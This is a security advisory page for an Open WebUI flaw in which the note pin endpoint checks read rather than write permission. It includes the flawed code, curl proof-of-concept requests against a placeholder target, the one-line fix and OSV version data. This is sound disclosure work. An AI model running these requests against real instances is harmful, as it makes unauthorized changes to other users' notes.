GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

PYSEC-2026-2745

Vulnerability from pysec - Published: 2026-07-13 15:19 - Updated: 2026-07-13 16:05
VLAI
Details

Summary

The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.

Details

Affected code: backend/open_webui/routers/notes.py lines 412-444

@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
    # ...
    if user.role != 'admin' and (
        user.id != note.user_id
        and not await AccessGrants.has_access(
            user_id=user.id,
            resource_type='note',
            resource_id=note.id,
            permission='read',        # BUG: should be 'write'
            db=db,
        )
    ):
        raise HTTPException(...)

    note = await Notes.toggle_note_pinned_by_id(id, db=db)  # write operation

Compare with update endpoint (correct, line 318-327):

async def update_note_by_id(...):
    # ...
    and not await AccessGrants.has_access(
        permission='write',        # correctly checks 'write'
    )

PoC

Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.

Setup: 1. UserA creates a note 2. UserA shares note with UserB with read permission via POST /api/v1/notes/{id}/access/update with {"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}

Test:

# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false

# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
  -H "Authorization: Bearer $TOKEN_B" \
  -H "Content-Type: application/json" \
  -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden

# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true

# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)

E2E Verified Result: - Step 1: UserB reads note (READ) -> 200 OK ✓ - Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked) - Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG) - Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)

Impact

  • A user with only read access to a shared note can toggle its is_pinned status
  • This modifies the note's state without write authorization
  • The pin status change is visible to the note owner and all other users with access
  • Privilege escalation from read to write on the pin operation

Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.

Fix

One-line fix — change permission='read' to permission='write' in pin_note_by_id:

# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',

This makes the pin endpoint consistent with update and delete endpoints.

Impacted products
Name purl
open-webui pkg:pypi/open-webui

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui",
        "purl": "pkg:pypi/open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.124",
        "0.1.125",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.3.0",
        "0.3.1",
        "0.3.10",
        "0.3.12",
        "0.3.13",
        "0.3.14",
        "0.3.15",
        "0.3.16",
        "0.3.17",
        "0.3.17.dev2",
        "0.3.17.dev3",
        "0.3.17.dev4",
        "0.3.17.dev5",
        "0.3.18",
        "0.3.19",
        "0.3.2",
        "0.3.20",
        "0.3.21",
        "0.3.22",
        "0.3.23",
        "0.3.24",
        "0.3.25",
        "0.3.26",
        "0.3.27",
        "0.3.27.dev1",
        "0.3.27.dev2",
        "0.3.27.dev3",
        "0.3.28",
        "0.3.29",
        "0.3.3",
        "0.3.30",
        "0.3.30.dev1",
        "0.3.30.dev2",
        "0.3.31",
        "0.3.31.dev1",
        "0.3.32",
        "0.3.33",
        "0.3.33.dev1",
        "0.3.34",
        "0.3.35",
        "0.3.4",
        "0.3.5",
        "0.3.6",
        "0.3.7",
        "0.3.8",
        "0.3.9",
        "0.4.0",
        "0.4.0.dev1",
        "0.4.0.dev2",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4.6.dev1",
        "0.4.7",
        "0.4.8",
        "0.5.0",
        "0.5.0.dev1",
        "0.5.0.dev2",
        "0.5.1",
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.13",
        "0.5.14",
        "0.5.15",
        "0.5.16",
        "0.5.17",
        "0.5.18",
        "0.5.19",
        "0.5.2",
        "0.5.20",
        "0.5.3",
        "0.5.3.dev1",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.6.1",
        "0.6.10",
        "0.6.11",
        "0.6.12",
        "0.6.13",
        "0.6.14",
        "0.6.15",
        "0.6.16",
        "0.6.18",
        "0.6.19",
        "0.6.2",
        "0.6.20",
        "0.6.21",
        "0.6.22",
        "0.6.23",
        "0.6.24",
        "0.6.25",
        "0.6.26",
        "0.6.26.dev1",
        "0.6.27",
        "0.6.28",
        "0.6.29",
        "0.6.3",
        "0.6.30",
        "0.6.31",
        "0.6.32",
        "0.6.33",
        "0.6.34",
        "0.6.35",
        "0.6.36",
        "0.6.37",
        "0.6.38",
        "0.6.39",
        "0.6.4",
        "0.6.40",
        "0.6.41",
        "0.6.42",
        "0.6.43",
        "0.6.5",
        "0.6.6",
        "0.6.6.dev1",
        "0.6.7",
        "0.6.8",
        "0.6.9",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.8.0",
        "0.8.1",
        "0.8.10",
        "0.8.11",
        "0.8.12",
        "0.8.2",
        "0.8.3",
        "0.8.4",
        "0.8.5",
        "0.8.6",
        "0.8.7",
        "0.8.8",
        "0.8.9",
        "0.9.0",
        "0.9.1",
        "0.9.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45316",
    "GHSA-jx2x-j75f-xq3j"
  ],
  "details": "### Summary\n\nThe `POST /api/v1/notes/{id}/pin` endpoint performs a write operation (toggling the `is_pinned` field) but only checks for `read` permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require `write` permission. All other write endpoints (update, delete, access/update) correctly check for `write` permission.\n\n### Details\n\n**Affected code: `backend/open_webui/routers/notes.py` lines 412-444**\n\n```python\n@router.post(\u0027/{id}/pin\u0027, response_model=Optional[NoteModel])\nasync def pin_note_by_id(...):\n    # ...\n    if user.role != \u0027admin\u0027 and (\n        user.id != note.user_id\n        and not await AccessGrants.has_access(\n            user_id=user.id,\n            resource_type=\u0027note\u0027,\n            resource_id=note.id,\n            permission=\u0027read\u0027,        # BUG: should be \u0027write\u0027\n            db=db,\n        )\n    ):\n        raise HTTPException(...)\n    \n    note = await Notes.toggle_note_pinned_by_id(id, db=db)  # write operation\n```\n\n**Compare with update endpoint (correct, line 318-327):**\n```python\nasync def update_note_by_id(...):\n    # ...\n    and not await AccessGrants.has_access(\n        permission=\u0027write\u0027,        # correctly checks \u0027write\u0027\n    )\n```\n\n### PoC\n\n**Environment:** Open WebUI v0.9.2, default configuration with notes sharing enabled.\n\n**Setup:**\n1. UserA creates a note\n2. UserA shares note with UserB with `read` permission via `POST /api/v1/notes/{id}/access/update` with `{\"access_grants\":[{\"principal_type\":\"user\",\"principal_id\":\"USERB_ID\",\"permission\":\"read\"}]}`\n\n**Test:**\n```bash\n# Step 1: UserB reads note (READ permission) -\u003e 200 OK, write_access: false\ncurl -s http://TARGET/api/v1/notes/$NOTE_ID \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"write_access\": false\n\n# Step 2: UserB updates note (WRITE operation) -\u003e 403 Forbidden (correctly blocked)\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \\\n  -H \"Authorization: Bearer $TOKEN_B\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"title\":\"HACKED\",\"content\":\"pwned\",\"data\":{\"type\":\"note\"}}\u0027\n# Result: 403 Forbidden\n\n# Step 3: UserB pins note (WRITE operation, but only checks READ) -\u003e 200 OK (BUG!)\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"is_pinned\": true\n\n# Step 4: UserB can toggle pin repeatedly\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"is_pinned\": false (toggled back)\n```\n\n**E2E Verified Result:**\n- Step 1: UserB reads note (READ) -\u003e 200 OK \u2713\n- Step 2: UserB updates note (WRITE) -\u003e 403 Forbidden \u2713 (correctly blocked)\n- Step 3: UserB pins note (WRITE via READ) -\u003e 200 OK, is_pinned: true \u2717 (BUG)\n- Step 4: UserB toggles pin again -\u003e 200 OK, is_pinned: false \u2717 (repeated write)\n\n### Impact\n\n- A user with only `read` access to a shared note can toggle its `is_pinned` status\n- This modifies the note\u0027s state without write authorization\n- The pin status change is visible to the note owner and all other users with access\n- Privilege escalation from read to write on the pin operation\n\n**Limitations:** Only affects the `is_pinned` boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.\n\n### Fix\n\nOne-line fix \u2014 change `permission=\u0027read\u0027` to `permission=\u0027write\u0027` in `pin_note_by_id`:\n\n```python\n# backend/open_webui/routers/notes.py, line 437\n- permission=\u0027read\u0027,\n+ permission=\u0027write\u0027,\n```\n\nThis makes the pin endpoint consistent with update and delete endpoints.",
  "id": "PYSEC-2026-2745",
  "modified": "2026-07-13T16:05:13.975025Z",
  "published": "2026-07-13T15:19:06.177623Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jx2x-j75f-xq3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45316"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/open-webui"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-jx2x-j75f-xq3j"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…